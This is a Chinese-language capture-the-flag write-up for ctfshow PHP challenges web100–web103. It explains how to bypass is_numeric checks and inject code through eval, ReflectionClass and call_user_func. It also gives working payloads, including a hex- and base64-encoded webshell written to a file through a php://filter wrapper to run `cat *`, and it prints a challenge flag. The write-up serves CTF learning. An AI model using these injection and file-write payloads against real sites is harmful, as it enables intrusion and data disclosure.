web100
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
is_numeric()
用来检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE
过滤$v2
不能有;
但是$v3
要有;
eval("$v2('ctfshow')$v3");
字符串拼接,然后用eval执行
构造?v1=1&v2=var_dump($ctfshow)&v3=;
我们会看到一个里面有个0x2d,对应ASCII码就是-
,我们替换一下成功提交就可以了
ctfshow{7c4e97b8-43ba-48af-8dbb-5466a0ca6796}
web101
我们可以看出这道题增加许多的过滤,查找一下我们需要类反射
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释
$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args);// 相当于实例化Person 类
利用ReflectionClass建立ctfshow类的反射类,new ReflectionClass($class)获得class的反射对象(包含了元数据信息)。反射返回的对象是class的元数据对象(包含class的所有属性/方法的元数据信息)
也就是我们创建之后需要用一个对象来接收一下
和上一题一样,他们之间是用and连接,只需要保证我们之间有一个是满足条件的就为true,但是&&就要三个同时满足。
payload:?v1=1&v2=echo new Reflectionclass&v3=;
我们修改提交以后发现是错的,对比上一题的最后一段,这一题就只有11位,所以少了一位,我们可以去一个一个的试,也可以爆破。
web102
call_user_func(callback,parameter ) //是一个回调函数
第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
会把参数过一下回调函数
$s = substr($v2,2);
$str = call_user_func($v1,$s);
file_put_contents($v3,$str);
先是第二句话,让变量s过一下v1函数,变量s 是substr($v2,2); 这句话的意思是从下标为2的位置获取字符串,因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)。
然后file_put_contents,把str变量给v3
v2必须是数字,科学计数e是唯一可以在is_numeric中不会影响判断数字的字符,所以可选字符只有0-9和e。
v1这里使用hex2bin()作为回调函数(16进制转化为字符)
v3运用伪协议写入文件
<?=
是echo() 的快捷用法,它会把结果输出出来
直接用cat *
把当前目录下的文件都输出
先是get
?v2=125044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=1.php
$a=<?=`cat *`;
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着 =的base64解码出来的内容是相同的。
bin2hex是把ASCII 字符的字符串转化为16进制
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473
用bin2hex将字符串转换成十六进制,前面的两个数字随便加一个就可以了
后面访问1.php再查看源代码就可以得出结果了
web103
增加了preg_match()
,但是不影响,和上一题一样的